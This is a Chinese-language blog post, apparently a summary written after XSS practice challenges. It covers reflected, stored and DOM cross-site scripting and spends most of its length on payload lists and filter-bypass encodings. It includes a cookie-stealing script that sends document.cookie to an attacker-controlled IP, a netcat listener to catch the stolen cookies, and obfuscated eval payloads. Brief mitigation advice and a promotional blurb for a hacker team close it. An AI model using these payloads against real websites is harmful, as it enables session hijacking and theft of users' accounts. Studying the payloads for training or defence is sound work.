刷完了XSS challenge和XSS game 对XSS漏洞有了些许认识 在此做个小结与记录
XSS(Cross Site Scripting),跨站脚本
危害
XSS主要有三类:
反射型XSS 是非持久性、参数型的跨站脚本 反射型XSS 的JS 代码在Web 应用的参数(变量)中
反射型XSS过程如下:
例如搜索框的反射型XSS 在搜索框中,提交PoC:
<script>alert(/xss/)</script>
点击搜索,即可触发反射型XSS 我们提交的poc 会出现在search.php 页面的keywords 参数中
常见payload
<script>alert('XSS')</script>
<a href='' οnclick=alert('xss')>type</a>
<img src=http://1.1.1.1/a.ipg οnerrοr=alert('xss')>
<script>window.location='http://1.1.1.1'</script>
<iframe SRC="http://1.1.1.1/victim" height = "0" width ="0"></iframe>
<script>new Image().src="http://1.1.1.1/c.php?output="+document.cookie;</script>
<script>document.body.innerHTML="<div style=visibility:visible;><h1>THIS WEBSITE IS UNDER ATTACK</h1></div>";</script>
存储型XSS 是持久性跨站脚本 持久性体现在XSS 代码不是在某个参数(变量)中,而是写进数据库或文件等可以永久保存数据的介质中
存储型XSS 通常发生在留言板等地方
例如用XSS.js窃取cookie XSS.js内容如下
var img = new Image();
img.src = "http://192.168.1.1:88/cookies.php?cookie="+document.cookie; #这里是kali的IP
输入
<script src="http://1.1.1.1/XSS.js"></script> #1.1.1.1是肉鸡的IP
然后在kali里监听88端口就可以获取cookie
DOM XSS 比较特殊 owasp 关于DOM 型号XSS 的定义是基于DOM 的XSS 是一种XSS 攻击,其中攻击的payload由于修改受害者浏览器页面的DOM 树而执行的 其特殊的地方就是payload 在浏览器本地修改DOM 树而执行, 并不会传到服务器上,这也就使得DOM XSS 比较难以检测
一套 JS 和其他语言可调用的标准的 API
例如
nc -nvlp 88 #在kali里监听88端口
输入
<script src="http://1.1.1.1/XSS.js"></script> #1.1.1.1是肉鸡的IP
<body onload=alert()>
<img src=x onerror=alert()>
<svg onload=alert()>
<body onpageshow=alert(1)>
<div style="width:1000px;height:1000px" onmouseover=alert()></div>
<marquee width=10 loop=2 behavior="alternate" onbounce=alert()> (firefox only)
<marquee onstart=alert(1)> (firefox only)
<marquee loop=1 width=0 onfinish=alert(1)> (firefox only)
<input autofocus="" onfocus=alert(1)></input>
<details open ontoggle="alert()"> (chrome & opera only)
<video autoplay onloadstart="alert()" src=x></video>
<video autoplay controls onplay="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></video>
<video controls onloadeddata="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></video>
<video controls onloadedmetadata="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></video>
<video controls onloadstart="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></video>
<video controls onloadstart="alert()"><source src=x></video>
<video controls oncanplay="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></video>
<audio autoplay controls onplay="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></audio>
<audio autoplay controls onplaying="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></audio>
<div style="background-image:url(javascript:alert(/xss/))">
<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>
下面的例子使用的是style标签来为动画的开始和结束设置关键帧:
<style>@keyframes x {}</style>
<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>
Firefox和Chrome中能够使用的有效分隔符:
原payload
<svg onload=alert(1)>
替换空格后
<svg/οnlοad=alert(1)><svg>
<svg
onload=alert(1)><svg> # newline char
<svg onload=alert(1)><svg> # tab char
<svgοnlοad=alert(1)><svg> # new page char (0xc)
对JS框架
{{constructor.constructor('alert(1)')()}}
这个Payload适用于大多数场景。
[self.alert(1)]
利用HTML解析器和JS语句:
<svg onload=alert`1`></svg>
<svg onload=alert(1)></svg>
<svg onload=alert(1)></svg>
<svg onload=alert(1)></svg>
某处白名单策略,只允许使用[]$='\()+
这些字符以及数字0-9
,连任意字母都不允许使用
甚至\
和数字也白名单过滤了
可用以下这两个方法:
JSFuck
jjencode
避免使用的关键词:
(alert)(1)
(1,2,3,4,5,6,7,8,alert)(1)
a=alert,a(1)
[1].find(alert)
top["al”+”ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1) // Generated using parseInt("alert",30). Other bases also work
unicode编码或16进制编码搞定<>
,"
,&
16进制编码 \\x3cscript\\x3ealert(document.domain);\\x3c/script\\x3e
Unicode编码 \\u003cscript\\u003ealert(document.domain);\\u003c/script\\u003e
8进制 \\74img src=x οnerrοr=alert(document.domain)\\76
过滤策略
'"+-!\[]
被替换为_
_
绕过方法
#${payload}
,然后通过location.hash.slice(1)
来获取payload,也能做到绕过检测。// 匿名函数
Function(/ALERT(1337)/.source.toLowerCase())()
// 数字转字符串,将30进制的数字8680439转换成字符串,就是alert
eval(8680439..toString(30))(1337)
// 在URL后面加上 #alert(1337)
eval(location.hash.slice(1))
注入点在注释里
<!–
是多行注释,所以换行的思路基本不可行
绕过方法
<php>
它会变异成<!--php-->
<?php><svg οnlοad=alert(1337)>
<?><svg onload=alert(1337)>
<?php><img%20src=x%20οnerrοr=alert(1337)>
一些常见payload如下
特殊少见的payload
<svg><animate onbegin=alert() attributeName=x></svg>
<object data="data:text/html,<script>alert(5)</script>">
<iframe srcdoc="<svg οnlοad=alert(4);>">
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
对重要的cookie设置HttpOnly, 防止客户端通过document.cookie读取cookie 服务端可以设置此字段
1.编码:
对用户输入的数据进行HTML Entity编码
可以用PHP中的htmlspecialchars()
、htmlentities()
2.解码: 避免直接对HTML Entity编码 使用DOM Parse转码,校正不配对的DOM标签
3.过滤: 移除用户上传的DOM属性,如onerror,onclick等 移除用户上传的Style节点、Script节点、 iframe节点等
对XSS做了个归纳总结
红客突击队于2019年由队长k龙牵头,联合国内多位顶尖高校研究生成立。其团队从成立至今多次参加国际网络安全竞赛并取得良好成绩,积累了丰富的竞赛经验。团队现有三十多位正式成员及若干预备人员,下属联合分队数支。红客突击队始终秉承先做人后技术的宗旨,旨在打造国际顶尖网络安全团队。